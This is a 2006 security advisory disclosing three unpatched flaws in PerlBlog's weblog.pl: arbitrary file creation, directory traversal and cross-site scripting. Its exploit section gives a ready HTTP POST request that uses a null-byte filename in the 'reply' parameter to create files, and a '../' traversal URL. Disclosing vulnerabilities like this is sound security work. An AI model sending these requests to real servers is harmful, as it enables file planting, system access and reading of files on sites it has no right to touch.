New eVuln Advisory: PerlBlog Multiple Vulnerabilities http://evuln.com/vulns/81/summary.html --------------------Summary---------------- eVuln ID: EV0081 CVE: CVE-2006-0780 CVE-2006-0781 CVE-2006-0782 Software: PerlBlog Sowtware's Web Site: http://www.chronicled.org/perlblog/ Versions: 1.09b 1.09 1.08 - checked Critical Level: Dangerous Type: Multiple Vulnerabilities Class: Remote Status: Unpatched. No reply from developer(s) Exploit: Available Solution: Not Available Discovered by: Aliaksandr Hartsuyeu (eVuln.com) -----------------Description--------------- 1. Arbitrary file creation with user-defined data. Vulnerable script: weblog.pl User-defined post variables are not properly sanitized. "reply" parameter may contain arbitrary filename. weblog.pl creates a file with "name" and "body" parameter values included. System access is possible. 2. Directory traversal vulnerability. Vulnerable script: weblog.pl Input parameter "month" isn't properly sanitized. This can be used to read arbitrary txt-files. 3. Cross-Site Scripting vulnerability. Vulnerable script: weblog.pl Post variables "name" and "email" are not properly sanitized. This can be used to post arbitrary HTML or JavaScript code. --------------Exploit---------------------- Available at: http://evuln.com/vulns/81/exploit.html 1. Arbitrary file creation with user-defined data. HTTP query example: POST /cgi-bin/perlblog/weblog.pl HTTP/1.0 Content-Type: application/x-www-form-urlencoded Host: [host] Content-Length: 124 date=02/14/2006-23:33&headerfile=200505&subject=Re: Welcome!&reply=[anyfilename]% 00&name=[anytext]&body=[anytext]&post=reply 2. Directory traversal vulnerability. http://[host]/cgi-bin/perlblog/weblog.pl? month=../license 3. Cross-Site Scripting vulnerability.
--------------Solution--------------------- No Patch available. --------------Credit----------------------- Discovered by: Aliaksandr Hartsuyeu (eVuln.com) Regards, Aliaksandr Hartsuyeu http://evuln.com - Penetration Testing Services